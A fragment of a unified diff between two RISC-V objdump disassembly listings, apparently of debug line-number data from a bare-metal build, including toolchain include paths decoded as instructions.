-     9a6:	0100                	addi	s0,sp,128
-     9a8:	1c05                	addi	s8,s8,-31
-     9aa:	0306                	slli	t1,t1,0x1
-     9ac:	0900                	addi	s0,sp,144
-     9ae:	0000                	unimp
-     9b0:	0501                	addi	a0,a0,0
-     9b2:	0306                	slli	t1,t1,0x1
-     9b4:	0900                	addi	s0,sp,144
-     9b6:	0006                	c.slli	zero,0x1
-     9b8:	0501                	addi	a0,a0,0
-     9ba:	0604                	addi	s1,sp,768
-     9bc:	02090103          	lb	sp,32(s2)
-     9c0:	0100                	addi	s0,sp,128
-     9c2:	1105                	addi	sp,sp,-31
-     9c4:	0306                	slli	t1,t1,0x1
-     9c6:	0900                	addi	s0,sp,144
-     9c8:	0000                	unimp
-     9ca:	0501                	addi	a0,a0,0
-     9cc:	030e                	slli	t1,t1,0x3
-     9ce:	0900                	addi	s0,sp,144
-     9d0:	0002                	c.slli64	zero
-     9d2:	0501                	addi	a0,a0,0
-     9d4:	0311                	addi	t1,t1,4
+     97a:	0c090103          	lb	sp,192(s2)
+     97e:	0100                	addi	s0,sp,128
+     980:	0c090103          	lb	sp,192(s2)
+     984:	0100                	addi	s0,sp,128
+     986:	0c090203          	lb	tp,192(s2)
+     98a:	0100                	addi	s0,sp,128
+     98c:	0805                	addi	a6,a6,1
+     98e:	0306                	slli	t1,t1,0x1
+     990:	0905                	addi	s2,s2,1
+     992:	0010                	0x10
+     994:	0501                	addi	a0,a0,0
+     996:	0305                	addi	t1,t1,1
+     998:	0004091b          	0x4091b
+     99c:	0501                	addi	a0,a0,0
+     99e:	0304                	addi	s1,sp,384
+     9a0:	0008096b          	0x8096b
+     9a4:	0501                	addi	a0,a0,0
+     9a6:	09010307          	0x9010307
+     9aa:	0008                	0x8
+     9ac:	0501                	addi	a0,a0,0
+     9ae:	0304                	addi	s1,sp,384
+     9b0:	0909                	addi	s2,s2,2
+     9b2:	0008                	0x8
+     9b4:	0301                	addi	t1,t1,0
+     9b6:	00080903          	lb	s2,0(a6) # ffff9000 <_heap_end+0x7ffea800>
+     9ba:	0501                	addi	a0,a0,0
+     9bc:	0605                	addi	a2,a2,1
+     9be:	08096903          	0x8096903
+     9c2:	0100                	addi	s0,sp,128
+     9c4:	0305                	addi	t1,t1,1
+     9c6:	00090203          	lb	tp,0(s2)
+     9ca:	0100                	addi	s0,sp,128
+     9cc:	00090203          	lb	tp,0(s2)
+     9d0:	0100                	addi	s0,sp,128
+     9d2:	0805                	addi	a6,a6,1
+     9d4:	0306                	slli	t1,t1,0x1
      9d6:	0900                	addi	s0,sp,144
-     9d8:	0004                	0x4
+     9d8:	0000                	unimp
      9da:	0501                	addi	a0,a0,0
-     9dc:	0312                	slli	t1,t1,0x4
-     9de:	0900                	addi	s0,sp,144
-     9e0:	0002                	c.slli64	zero
-     9e2:	0501                	addi	a0,a0,0
-     9e4:	0311                	addi	t1,t1,4
-     9e6:	0900                	addi	s0,sp,144
-     9e8:	0004                	0x4
-     9ea:	0501                	addi	a0,a0,0
-     9ec:	0621                	addi	a2,a2,8
-     9ee:	04090003          	lb	zero,64(s2)
-     9f2:	0100                	addi	s0,sp,128
-     9f4:	2c05                	jal	c24 <__stack_size+0x424>
-     9f6:	0306                	slli	t1,t1,0x1
-     9f8:	0900                	addi	s0,sp,144
-     9fa:	0000                	unimp
-     9fc:	0501                	addi	a0,a0,0
-     9fe:	030e                	slli	t1,t1,0x3
-     a00:	0900                	addi	s0,sp,144
-     a02:	0008                	0x8
-     a04:	0501                	addi	a0,a0,0
-     a06:	0402001b          	0x402001b
-     a0a:	0602                	c.slli64	a2
-     a0c:	02097e03          	0x2097e03
-     a10:	0100                	addi	s0,sp,128
-     a12:	1c05                	addi	s8,s8,-31
-     a14:	0200                	addi	s0,sp,256
-     a16:	0204                	addi	s1,sp,256
-     a18:	0306                	slli	t1,t1,0x1
-     a1a:	0900                	addi	s0,sp,144
-     a1c:	0000                	unimp
-     a1e:	0501                	addi	a0,a0,0
-     a20:	0015                	c.nop	5
-     a22:	0402                	c.slli64	s0
-     a24:	0602                	c.slli64	a2
-     a26:	02090003          	lb	zero,32(s2)
-     a2a:	0100                	addi	s0,sp,128
-     a2c:	0205                	addi	tp,tp,1
-     a2e:	0200                	addi	s0,sp,256
-     a30:	0204                	addi	s1,sp,256
-     a32:	0306                	slli	t1,t1,0x1
-     a34:	0900                	addi	s0,sp,144
-     a36:	0000                	unimp
-     a38:	0601                	addi	a2,a2,0
-     a3a:	04090403          	lb	s0,64(s2)
-     a3e:	0100                	addi	s0,sp,128
-     a40:	12090303          	lb	t1,288(s2)
-     a44:	0100                	addi	s0,sp,128
-     a46:	2305                	jal	f66 <__stack_size+0x766>
-     a48:	00090003          	lb	zero,0(s2)
-     a4c:	0100                	addi	s0,sp,128
-     a4e:	00090003          	lb	zero,0(s2)
-     a52:	0100                	addi	s0,sp,128
-     a54:	04090003          	lb	zero,64(s2)
-     a58:	0100                	addi	s0,sp,128
-     a5a:	0205                	addi	tp,tp,1
-     a5c:	00090103          	lb	sp,0(s2)
-     a60:	0100                	addi	s0,sp,128
-     a62:	4805                	li	a6,1
-     a64:	0306                	slli	t1,t1,0x1
-     a66:	0900                	addi	s0,sp,144
-     a68:	0000                	unimp
-     a6a:	0001                	nop
-     a6c:	0402                	c.slli64	s0
-     a6e:	0301                	addi	t1,t1,0
-     a70:	0900                	addi	s0,sp,144
-     a72:	0014                	0x14
-     a74:	0001                	nop
-     a76:	0402                	c.slli64	s0
-     a78:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     a7c:	0008                	0x8
-     a7e:	0301                	addi	t1,t1,0
-     a80:	0900                	addi	s0,sp,144
-     a82:	0010                	0x10
-     a84:	0501                	addi	a0,a0,0
-     a86:	0002                	c.slli64	zero
-     a88:	0402                	c.slli64	s0
-     a8a:	060c                	addi	a1,sp,768
-     a8c:	08090403          	lb	s0,128(s2)
-     a90:	0100                	addi	s0,sp,128
-     a92:	0200                	addi	s0,sp,256
-     a94:	0c04                	addi	s1,sp,528
-     a96:	0e090303          	lb	t1,224(s2)
-     a9a:	0100                	addi	s0,sp,128
-     a9c:	2105                	jal	ebc <__stack_size+0x6bc>
-     a9e:	0200                	addi	s0,sp,256
-     aa0:	0c04                	addi	s1,sp,528
-     aa2:	00090003          	lb	zero,0(s2)
-     aa6:	0100                	addi	s0,sp,128
-     aa8:	0200                	addi	s0,sp,256
-     aaa:	0c04                	addi	s1,sp,528
-     aac:	00090003          	lb	zero,0(s2)
-     ab0:	0100                	addi	s0,sp,128
-     ab2:	0200                	addi	s0,sp,256
-     ab4:	0c04                	addi	s1,sp,528
-     ab6:	04090003          	lb	zero,64(s2)
-     aba:	0100                	addi	s0,sp,128
-     abc:	0205                	addi	tp,tp,1
-     abe:	0200                	addi	s0,sp,256
-     ac0:	0c04                	addi	s1,sp,528
-     ac2:	00090103          	lb	sp,0(s2)
-     ac6:	0100                	addi	s0,sp,128
-     ac8:	6c05                	lui	s8,0x1
-     aca:	0200                	addi	s0,sp,256
-     acc:	0c04                	addi	s1,sp,528
-     ace:	0306                	slli	t1,t1,0x1
-     ad0:	0900                	addi	s0,sp,144
-     ad2:	0000                	unimp
-     ad4:	0501                	addi	a0,a0,0
-     ad6:	002e                	c.slli	zero,0xb
-     ad8:	0402                	c.slli64	s0
-     ada:	0302                	c.slli64	t1
-     adc:	0900                	addi	s0,sp,144
-     ade:	0008                	0x8
-     ae0:	0501                	addi	a0,a0,0
-     ae2:	006c                	addi	a1,sp,12
-     ae4:	0402                	c.slli64	s0
-     ae6:	0302                	c.slli64	t1
-     ae8:	0900                	addi	s0,sp,144
-     aea:	0008                	0x8
-     aec:	0501                	addi	a0,a0,0
-     aee:	002e                	c.slli	zero,0xb
-     af0:	0402                	c.slli64	s0
-     af2:	0302                	c.slli64	t1
-     af4:	0900                	addi	s0,sp,144
-     af6:	0008                	0x8
-     af8:	0501                	addi	a0,a0,0
-     afa:	004a                	c.slli	zero,0x12
-     afc:	0402                	c.slli64	s0
-     afe:	0304                	addi	s1,sp,384
-     b00:	0900                	addi	s0,sp,144
-     b02:	0004                	0x4
-     b04:	0501                	addi	a0,a0,0
-     b06:	0038                	addi	a4,sp,8
-     b08:	0402                	c.slli64	s0
-     b0a:	0301                	addi	t1,t1,0
-     b0c:	0901                	addi	s2,s2,0
-     b0e:	000a                	c.slli	zero,0x2
-     b10:	0501                	addi	a0,a0,0
-     b12:	036c                	addi	a1,sp,396
-     b14:	097f                	0x97f
-     b16:	0006                	c.slli	zero,0x1
-     b18:	0001                	nop
-     b1a:	0402                	c.slli64	s0
-     b1c:	09000307          	0x9000307
-     b20:	000a                	c.slli	zero,0x2
-     b22:	0501                	addi	a0,a0,0
-     b24:	031f 0903 0010      	0x100903031f
-     b2a:	0501                	addi	a0,a0,0
-     b2c:	0402003b          	0x402003b
-     b30:	0301                	addi	t1,t1,0
-     b32:	0900                	addi	s0,sp,144
-     b34:	000c                	0xc
-     b36:	0501                	addi	a0,a0,0
-     b38:	036c                	addi	a1,sp,396
-     b3a:	097d                	addi	s2,s2,31
-     b3c:	0006                	c.slli	zero,0x1
-     b3e:	0501                	addi	a0,a0,0
-     b40:	0002                	c.slli64	zero
-     b42:	0402                	c.slli64	s0
-     b44:	060e                	slli	a2,a2,0x3
-     b46:	12090503          	lb	a0,288(s2)
-     b4a:	0100                	addi	s0,sp,128
-     b4c:	0200                	addi	s0,sp,256
-     b4e:	0e04                	addi	s1,sp,784
-     b50:	0c090303          	lb	t1,192(s2)
-     b54:	0100                	addi	s0,sp,128
-     b56:	2605                	jal	e76 <__stack_size+0x676>
-     b58:	0200                	addi	s0,sp,256
-     b5a:	0e04                	addi	s1,sp,784
-     b5c:	00090003          	lb	zero,0(s2)
-     b60:	0100                	addi	s0,sp,128
-     b62:	0200                	addi	s0,sp,256
-     b64:	0e04                	addi	s1,sp,784
-     b66:	00090003          	lb	zero,0(s2)
-     b6a:	0100                	addi	s0,sp,128
-     b6c:	0200                	addi	s0,sp,256
-     b6e:	0e04                	addi	s1,sp,784
-     b70:	04090003          	lb	zero,64(s2)
-     b74:	0100                	addi	s0,sp,128
-     b76:	0205                	addi	tp,tp,1
-     b78:	0200                	addi	s0,sp,256
-     b7a:	0e04                	addi	s1,sp,784
-     b7c:	0306                	slli	t1,t1,0x1
-     b7e:	0900                	addi	s0,sp,144
-     b80:	0000                	unimp
-     b82:	0001                	nop
-     b84:	0402                	c.slli64	s0
-     b86:	060e                	slli	a2,a2,0x3
-     b88:	0c090303          	lb	t1,192(s2)
-     b8c:	0100                	addi	s0,sp,128
-     b8e:	2505                	jal	11ae <__stack_size+0x9ae>
-     b90:	0200                	addi	s0,sp,256
-     b92:	0e04                	addi	s1,sp,784
-     b94:	00090003          	lb	zero,0(s2)
-     b98:	0100                	addi	s0,sp,128
-     b9a:	0200                	addi	s0,sp,256
-     b9c:	0e04                	addi	s1,sp,784
-     b9e:	00090003          	lb	zero,0(s2)
-     ba2:	0100                	addi	s0,sp,128
-     ba4:	0200                	addi	s0,sp,256
-     ba6:	0e04                	addi	s1,sp,784
-     ba8:	04090003          	lb	zero,64(s2)
-     bac:	0100                	addi	s0,sp,128
-     bae:	0205                	addi	tp,tp,1
-     bb0:	0200                	addi	s0,sp,256
-     bb2:	0e04                	addi	s1,sp,784
-     bb4:	0306                	slli	t1,t1,0x1
-     bb6:	0900                	addi	s0,sp,144
-     bb8:	0000                	unimp
-     bba:	0001                	nop
-     bbc:	0402                	c.slli64	s0
-     bbe:	060e                	slli	a2,a2,0x3
-     bc0:	0c090303          	lb	t1,192(s2)
-     bc4:	0100                	addi	s0,sp,128
-     bc6:	0200                	addi	s0,sp,256
-     bc8:	0e04                	addi	s1,sp,784
-     bca:	10090303          	lb	t1,256(s2)
-     bce:	0100                	addi	s0,sp,128
-     bd0:	0105                	addi	sp,sp,1
-     bd2:	0200                	addi	s0,sp,256
-     bd4:	0e04                	addi	s1,sp,784
-     bd6:	0306                	slli	t1,t1,0x1
-     bd8:	0902                	c.slli64	s2
-     bda:	000e                	c.slli	zero,0x3
-     bdc:	0901                	addi	s2,s2,0
-     bde:	000a                	c.slli	zero,0x2
-     be0:	0100                	addi	s0,sp,128
-     be2:	0501                	addi	a0,a0,0
-     be4:	02050017          	auipc	zero,0x2050
-     be8:	1e04                	addi	s1,sp,816
-     bea:	2040                	fld	fs0,128(s0)
-     bec:	0101a603          	lw	a2,16(gp) # 8000e080 <__global_pointer$+0x10>
-     bf0:	0205                	addi	tp,tp,1
-     bf2:	00090303          	lb	t1,0(s2)
-     bf6:	0100                	addi	s0,sp,128
-     bf8:	00090103          	lb	sp,0(s2)
-     bfc:	0100                	addi	s0,sp,128
-     bfe:	1705                	addi	a4,a4,-31
-     c00:	0306                	slli	t1,t1,0x1
-     c02:	097c                	addi	a5,sp,156
-     c04:	0000                	unimp
-     c06:	0501                	addi	a0,a0,0
-     c08:	0602                	c.slli64	a2
-     c0a:	02090603          	lb	a2,32(s2)
-     c0e:	0100                	addi	s0,sp,128
-     c10:	0705                	addi	a4,a4,1
-     c12:	00090003          	lb	zero,0(s2)
-     c16:	0100                	addi	s0,sp,128
-     c18:	1005                	c.nop	-31
-     c1a:	00090003          	lb	zero,0(s2)
-     c1e:	0100                	addi	s0,sp,128
-     c20:	1705                	addi	a4,a4,-31
-     c22:	0306                	slli	t1,t1,0x1
-     c24:	097a                	slli	s2,s2,0x1e
-     c26:	0000                	unimp
-     c28:	0301                	addi	t1,t1,0
-     c2a:	0900                	addi	s0,sp,144
-     c2c:	0012                	c.slli	zero,0x4
-     c2e:	0501                	addi	a0,a0,0
-     c30:	031c                	addi	a5,sp,384
-     c32:	0908                	addi	a0,sp,144
-     c34:	0002                	c.slli64	zero
-     c36:	0301                	addi	t1,t1,0
-     c38:	0901                	addi	s2,s2,0
-     c3a:	0002                	c.slli64	zero
-     c3c:	0501                	addi	a0,a0,0
-     c3e:	0320                	addi	s0,sp,392
-     c40:	0905                	addi	s2,s2,1
-     c42:	0002                	c.slli64	zero
-     c44:	0501                	addi	a0,a0,0
-     c46:	0302                	c.slli64	t1
-     c48:	0978                	addi	a4,sp,156
-     c4a:	0004                	0x4
-     c4c:	0501                	addi	a0,a0,0
-     c4e:	04020003          	lb	zero,64(tp) # 40 <__stack_size-0x7c0>
-     c52:	02030603          	lb	a2,32(t1)
-     c56:	0409                	addi	s0,s0,2
-     c58:	0100                	addi	s0,sp,128
-     c5a:	1c05                	addi	s8,s8,-31
-     c5c:	0200                	addi	s0,sp,256
-     c5e:	0304                	addi	s1,sp,384
-     c60:	00090003          	lb	zero,0(s2)
-     c64:	0100                	addi	s0,sp,128
-     c66:	0200                	addi	s0,sp,256
-     c68:	0304                	addi	s1,sp,384
-     c6a:	00090003          	lb	zero,0(s2)
-     c6e:	0100                	addi	s0,sp,128
-     c70:	0200                	addi	s0,sp,256
-     c72:	0304                	addi	s1,sp,384
-     c74:	08090003          	lb	zero,128(s2)
-     c78:	0100                	addi	s0,sp,128
-     c7a:	0305                	addi	t1,t1,1
-     c7c:	0200                	addi	s0,sp,256
-     c7e:	0304                	addi	s1,sp,384
-     c80:	02090103          	lb	sp,32(s2)
-     c84:	0100                	addi	s0,sp,128
-     c86:	1c05                	addi	s8,s8,-31
-     c88:	0200                	addi	s0,sp,256
-     c8a:	0304                	addi	s1,sp,384
-     c8c:	00090003          	lb	zero,0(s2)
-     c90:	0100                	addi	s0,sp,128
-     c92:	0200                	addi	s0,sp,256
-     c94:	0304                	addi	s1,sp,384
-     c96:	00090003          	lb	zero,0(s2)
-     c9a:	0100                	addi	s0,sp,128
-     c9c:	0200                	addi	s0,sp,256
-     c9e:	0304                	addi	s1,sp,384
-     ca0:	08090003          	lb	zero,128(s2)
-     ca4:	0100                	addi	s0,sp,128
-     ca6:	0305                	addi	t1,t1,1
-     ca8:	0200                	addi	s0,sp,256
-     caa:	0304                	addi	s1,sp,384
-     cac:	02090103          	lb	sp,32(s2)
-     cb0:	0100                	addi	s0,sp,128
-     cb2:	1005                	c.nop	-31
-     cb4:	0200                	addi	s0,sp,256
-     cb6:	0304                	addi	s1,sp,384
-     cb8:	06090003          	lb	zero,96(s2)
-     cbc:	0100                	addi	s0,sp,128
-     cbe:	0305                	addi	t1,t1,1
-     cc0:	0200                	addi	s0,sp,256
-     cc2:	0304                	addi	s1,sp,384
-     cc4:	00090103          	lb	sp,0(s2)
-     cc8:	0100                	addi	s0,sp,128
-     cca:	1c05                	addi	s8,s8,-31
-     ccc:	0200                	addi	s0,sp,256
-     cce:	0304                	addi	s1,sp,384
-     cd0:	00090003          	lb	zero,0(s2)
-     cd4:	0100                	addi	s0,sp,128
-     cd6:	0200                	addi	s0,sp,256
-     cd8:	0304                	addi	s1,sp,384
-     cda:	00090003          	lb	zero,0(s2)
-     cde:	0100                	addi	s0,sp,128
-     ce0:	0200                	addi	s0,sp,256
-     ce2:	0304                	addi	s1,sp,384
-     ce4:	08090003          	lb	zero,128(s2)
-     ce8:	0100                	addi	s0,sp,128
-     cea:	0305                	addi	t1,t1,1
-     cec:	0200                	addi	s0,sp,256
-     cee:	0304                	addi	s1,sp,384
-     cf0:	02090103          	lb	sp,32(s2)
-     cf4:	0100                	addi	s0,sp,128
-     cf6:	1c05                	addi	s8,s8,-31
-     cf8:	0200                	addi	s0,sp,256
-     cfa:	0304                	addi	s1,sp,384
-     cfc:	00090003          	lb	zero,0(s2)
-     d00:	0100                	addi	s0,sp,128
-     d02:	0200                	addi	s0,sp,256
-     d04:	0304                	addi	s1,sp,384
-     d06:	00090003          	lb	zero,0(s2)
-     d0a:	0100                	addi	s0,sp,128
-     d0c:	0200                	addi	s0,sp,256
-     d0e:	0304                	addi	s1,sp,384
-     d10:	08090003          	lb	zero,128(s2)
-     d14:	0100                	addi	s0,sp,128
-     d16:	0305                	addi	t1,t1,1
-     d18:	0200                	addi	s0,sp,256
-     d1a:	0304                	addi	s1,sp,384
-     d1c:	00090203          	lb	tp,0(s2)
-     d20:	0100                	addi	s0,sp,128
-     d22:	0d05                	addi	s10,s10,1
-     d24:	0200                	addi	s0,sp,256
-     d26:	0304                	addi	s1,sp,384
-     d28:	0306                	slli	t1,t1,0x1
-     d2a:	0900                	addi	s0,sp,144
-     d2c:	0000                	unimp
-     d2e:	0501                	addi	a0,a0,0
-     d30:	0011                	c.nop	4
-     d32:	0402                	c.slli64	s0
-     d34:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     d38:	0004                	0x4
-     d3a:	0501                	addi	a0,a0,0
-     d3c:	0024                	addi	s1,sp,8
-     d3e:	0402                	c.slli64	s0
-     d40:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     d44:	0002                	c.slli64	zero
-     d46:	0501                	addi	a0,a0,0
-     d48:	0020                	addi	s0,sp,8
-     d4a:	0402                	c.slli64	s0
-     d4c:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     d50:	0002                	c.slli64	zero
-     d52:	0501                	addi	a0,a0,0
-     d54:	000d                	c.nop	3
-     d56:	0402                	c.slli64	s0
-     d58:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     d5c:	0004                	0x4
-     d5e:	0501                	addi	a0,a0,0
-     d60:	0016                	c.slli	zero,0x5
-     d62:	0402                	c.slli64	s0
-     d64:	00030603          	lb	a2,0(t1)
-     d68:	0209                	addi	tp,tp,2
-     d6a:	0100                	addi	s0,sp,128
-     d6c:	2005                	jal	d8c <__stack_size+0x58c>
-     d6e:	0200                	addi	s0,sp,256
-     d70:	0304                	addi	s1,sp,384
-     d72:	0306                	slli	t1,t1,0x1
-     d74:	0900                	addi	s0,sp,144
+     9dc:	01030603          	lb	a2,16(t1)
+     9e0:	0809                	addi	a6,a6,2
+     9e2:	0100                	addi	s0,sp,128
+     9e4:	0505                	addi	a0,a0,1
+     9e6:	0306                	slli	t1,t1,0x1
+     9e8:	0900                	addi	s0,sp,144
+     9ea:	0000                	unimp
+     9ec:	0501                	addi	a0,a0,0
+     9ee:	0604                	addi	s1,sp,768
+     9f0:	02090103          	lb	sp,32(s2)
+     9f4:	0100                	addi	s0,sp,128
+     9f6:	00090103          	lb	sp,0(s2)
+     9fa:	0100                	addi	s0,sp,128
+     9fc:	00090103          	lb	sp,0(s2)
+     a00:	0100                	addi	s0,sp,128
+     a02:	0a090103          	lb	sp,160(s2)
+     a06:	0100                	addi	s0,sp,128
+     a08:	0306                	slli	t1,t1,0x1
+     a0a:	0901                	addi	s2,s2,0
+     a0c:	0000                	unimp
+     a0e:	0501                	addi	a0,a0,0
+     a10:	030c                	addi	a1,sp,384
+     a12:	097f                	0x97f
+     a14:	0002                	c.slli64	zero
+     a16:	0501                	addi	a0,a0,0
+     a18:	0604                	addi	s1,sp,768
+     a1a:	04090103          	lb	sp,64(s2)
+     a1e:	0100                	addi	s0,sp,128
+     a20:	04090103          	lb	sp,64(s2)
+     a24:	0100                	addi	s0,sp,128
+     a26:	0705                	addi	a4,a4,1
+     a28:	0306                	slli	t1,t1,0x1
+     a2a:	0900                	addi	s0,sp,144
+     a2c:	0000                	unimp
+     a2e:	0501                	addi	a0,a0,0
+     a30:	0308                	addi	a0,sp,384
+     a32:	0904                	addi	s1,sp,144
+     a34:	0004                	0x4
+     a36:	0501                	addi	a0,a0,0
+     a38:	097c0307          	0x97c0307
+     a3c:	0002                	c.slli64	zero
+     a3e:	0501                	addi	a0,a0,0
+     a40:	031f 0900 0004      	0x40900031f
+     a46:	0501                	addi	a0,a0,0
+     a48:	09000307          	0x9000307
+     a4c:	0004                	0x4
+     a4e:	0501                	addi	a0,a0,0
+     a50:	0306                	slli	t1,t1,0x1
+     a52:	0900                	addi	s0,sp,144
+     a54:	0002                	c.slli64	zero
+     a56:	0501                	addi	a0,a0,0
+     a58:	0028                	addi	a0,sp,8
+     a5a:	0402                	c.slli64	s0
+     a5c:	0301                	addi	t1,t1,0
+     a5e:	0900                	addi	s0,sp,144
+     a60:	0004                	0x4
+     a62:	0501                	addi	a0,a0,0
+     a64:	0008                	0x8
+     a66:	0402                	c.slli64	s0
+     a68:	0301                	addi	t1,t1,0
+     a6a:	0901                	addi	s2,s2,0
+     a6c:	000a                	c.slli	zero,0x2
+     a6e:	0501                	addi	a0,a0,0
+     a70:	0604                	addi	s1,sp,768
+     a72:	04090503          	lb	a0,64(s2)
+     a76:	0100                	addi	s0,sp,128
+     a78:	06090103          	lb	sp,96(s2)
+     a7c:	0100                	addi	s0,sp,128
+     a7e:	0c05                	addi	s8,s8,1
+     a80:	0306                	slli	t1,t1,0x1
+     a82:	0900                	addi	s0,sp,144
+     a84:	0000                	unimp
+     a86:	0501                	addi	a0,a0,0
+     a88:	0604                	addi	s1,sp,768
+     a8a:	06090103          	lb	sp,96(s2)
+     a8e:	0100                	addi	s0,sp,128
+     a90:	1605                	addi	a2,a2,-31
+     a92:	0306                	slli	t1,t1,0x1
+     a94:	0900                	addi	s0,sp,144
+     a96:	0000                	unimp
+     a98:	0501                	addi	a0,a0,0
+     a9a:	030d                	addi	t1,t1,3
+     a9c:	0900                	addi	s0,sp,144
+     a9e:	0006                	c.slli	zero,0x1
+     aa0:	0501                	addi	a0,a0,0
+     aa2:	0604                	addi	s1,sp,768
+     aa4:	02090103          	lb	sp,32(s2)
+     aa8:	0100                	addi	s0,sp,128
+     aaa:	06090103          	lb	sp,96(s2)
+     aae:	0100                	addi	s0,sp,128
+     ab0:	0705                	addi	a4,a4,1
+     ab2:	0306                	slli	t1,t1,0x1
+     ab4:	0900                	addi	s0,sp,144
+     ab6:	0000                	unimp
+     ab8:	0501                	addi	a0,a0,0
+     aba:	0304                	addi	s1,sp,384
+     abc:	0902                	c.slli64	s2
+     abe:	0002                	c.slli64	zero
+     ac0:	0501                	addi	a0,a0,0
+     ac2:	030e                	slli	t1,t1,0x3
+     ac4:	097e                	slli	s2,s2,0x1f
+     ac6:	0002                	c.slli64	zero
+     ac8:	0501                	addi	a0,a0,0
+     aca:	0604                	addi	s1,sp,768
+     acc:	04090203          	lb	tp,64(s2)
+     ad0:	0100                	addi	s0,sp,128
+     ad2:	3305                	jal	7f2 <__stack_size-0xe>
+     ad4:	0306                	slli	t1,t1,0x1
+     ad6:	0900                	addi	s0,sp,144
+     ad8:	0000                	unimp
+     ada:	0501                	addi	a0,a0,0
+     adc:	0304                	addi	s1,sp,384
+     ade:	0900                	addi	s0,sp,144
+     ae0:	0002                	c.slli64	zero
+     ae2:	0601                	addi	a2,a2,0
+     ae4:	08090103          	lb	sp,128(s2)
+     ae8:	0100                	addi	s0,sp,128
+     aea:	0905                	addi	s2,s2,1
+     aec:	0306                	slli	t1,t1,0x1
+     aee:	0900                	addi	s0,sp,144
+     af0:	0000                	unimp
+     af2:	0501                	addi	a0,a0,0
+     af4:	0604                	addi	s1,sp,768
+     af6:	08090103          	lb	sp,128(s2)
+     afa:	0100                	addi	s0,sp,128
+     afc:	0e090403          	lb	s0,224(s2)
+     b00:	0100                	addi	s0,sp,128
+     b02:	0905                	addi	s2,s2,1
+     b04:	0306                	slli	t1,t1,0x1
+     b06:	0900                	addi	s0,sp,144
+     b08:	0000                	unimp
+     b0a:	0501                	addi	a0,a0,0
+     b0c:	0604                	addi	s1,sp,768
+     b0e:	08090103          	lb	sp,128(s2)
+     b12:	0100                	addi	s0,sp,128
+     b14:	0705                	addi	a4,a4,1
+     b16:	0306                	slli	t1,t1,0x1
+     b18:	0900                	addi	s0,sp,144
+     b1a:	0000                	unimp
+     b1c:	0501                	addi	a0,a0,0
+     b1e:	0605                	addi	a2,a2,1
+     b20:	02090103          	lb	sp,32(s2)
+     b24:	0100                	addi	s0,sp,128
+     b26:	06090103          	lb	sp,96(s2)
+     b2a:	0100                	addi	s0,sp,128
+     b2c:	0609                	addi	a2,a2,2
+     b2e:	0000                	unimp
+     b30:	0101                	addi	sp,sp,0
+     b32:	000005c7          	fmsub.s	fa1,ft0,ft0,ft0,rne
+     b36:	02b00003          	lb	zero,43(zero) # 2b <__stack_size-0x7d5>
+     b3a:	0000                	unimp
+     b3c:	0101                	addi	sp,sp,0
+     b3e:	000d0efb          	0xd0efb
+     b42:	0101                	addi	sp,sp,0
+     b44:	0101                	addi	sp,sp,0
+     b46:	0000                	unimp
+     b48:	0100                	addi	s0,sp,128
+     b4a:	0000                	unimp
+     b4c:	2e01                	jal	e5c <__stack_size+0x65c>
+     b4e:	2f2e                	fld	ft10,200(sp)
+     b50:	72616873          	csrrsi	a6,0x726,2
+     b54:	6465                	lui	s0,0x19
+     b56:	2e00                	fld	fs0,24(a2)
+     b58:	2f2e                	fld	ft10,200(sp)
+     b5a:	72616873          	csrrsi	a6,0x726,2
+     b5e:	6465                	lui	s0,0x19
+     b60:	636e692f          	0x636e692f
+     b64:	756c                	flw	fa1,108(a0)
+     b66:	6564                	flw	fs1,76(a0)
+     b68:	2f00                	fld	fs0,24(a4)
+     b6a:	6f68                	flw	fa0,92(a4)
+     b6c:	656d                	lui	a0,0x1b
+     b6e:	7369722f          	0x7369722f
+     b72:	742f7663          	bgeu	t5,sp,12be <__stack_size+0xabe>
+     b76:	736c6f6f          	jal	t5,c72ac <__stack_size+0xc6aac>
+     b7a:	7369722f          	0x7369722f
+     b7e:	672d7663          	bgeu	s10,s2,11ea <__stack_size+0x9ea>
+     b82:	756e                	flw	fa0,248(sp)
+     b84:	742d                	lui	s0,0xfffeb
+     b86:	636c6f6f          	jal	t5,c71bc <__stack_size+0xc69bc>
+     b8a:	6168                	flw	fa0,68(a0)
+     b8c:	6e69                	lui	t3,0x1a
+     b8e:	682d                	lui	a6,0xb
+     b90:	7865                	lui	a6,0xffff9
+     b92:	6966                	flw	fs2,88(sp)
+     b94:	6576                	flw	fa0,92(sp)
+     b96:	7369722f          	0x7369722f
+     b9a:	34367663          	bgeu	a2,gp,ee6 <__stack_size+0x6e6>
+     b9e:	752d                	lui	a0,0xfffeb
+     ba0:	6b6e                	flw	fs6,216(sp)
+     ba2:	6f6e                	flw	ft10,216(sp)
+     ba4:	652d6e77          	0x652d6e77
+     ba8:	666c                	flw	fa1,76(a2)
+     baa:	636e692f          	0x636e692f
+     bae:	756c                	flw	fa1,108(a0)
+     bb0:	6564                	flw	fs1,76(a0)
+     bb2:	2f00                	fld	fs0,24(a4)
+     bb4:	6f68                	flw	fa0,92(a4)
+     bb6:	656d                	lui	a0,0x1b
+     bb8:	7369722f          	0x7369722f
+     bbc:	742f7663          	bgeu	t5,sp,1308 <__stack_size+0xb08>
+     bc0:	736c6f6f          	jal	t5,c72f6 <__stack_size+0xc6af6>
+     bc4:	7369722f          	0x7369722f
+     bc8:	672d7663          	bgeu	s10,s2,1234 <__stack_size+0xa34>
+     bcc:	756e                	flw	fa0,248(sp)
+     bce:	742d                	lui	s0,0xfffeb
+     bd0:	636c6f6f          	jal	t5,c7206 <__stack_size+0xc6a06>
+     bd4:	6168                	flw	fa0,68(a0)
+     bd6:	6e69                	lui	t3,0x1a
+     bd8:	682d                	lui	a6,0xb
+     bda:	7865                	lui	a6,0xffff9
+     bdc:	6966                	flw	fs2,88(sp)
+     bde:	6576                	flw	fa0,92(sp)
+     be0:	62696c2f          	0x62696c2f
+     be4:	6363672f          	0x6363672f
+     be8:	7369722f          	0x7369722f
+     bec:	34367663          	bgeu	a2,gp,f38 <__stack_size+0x738>
+     bf0:	752d                	lui	a0,0xfffeb
+     bf2:	6b6e                	flw	fs6,216(sp)
+     bf4:	6f6e                	flw	ft10,216(sp)
+     bf6:	652d6e77          	0x652d6e77
+     bfa:	666c                	flw	fa1,76(a2)
+     bfc:	2e30312f          	0x2e30312f
+     c00:	2e31                	jal	f1c <__stack_size+0x71c>
+     c02:	2f30                	fld	fa2,88(a4)
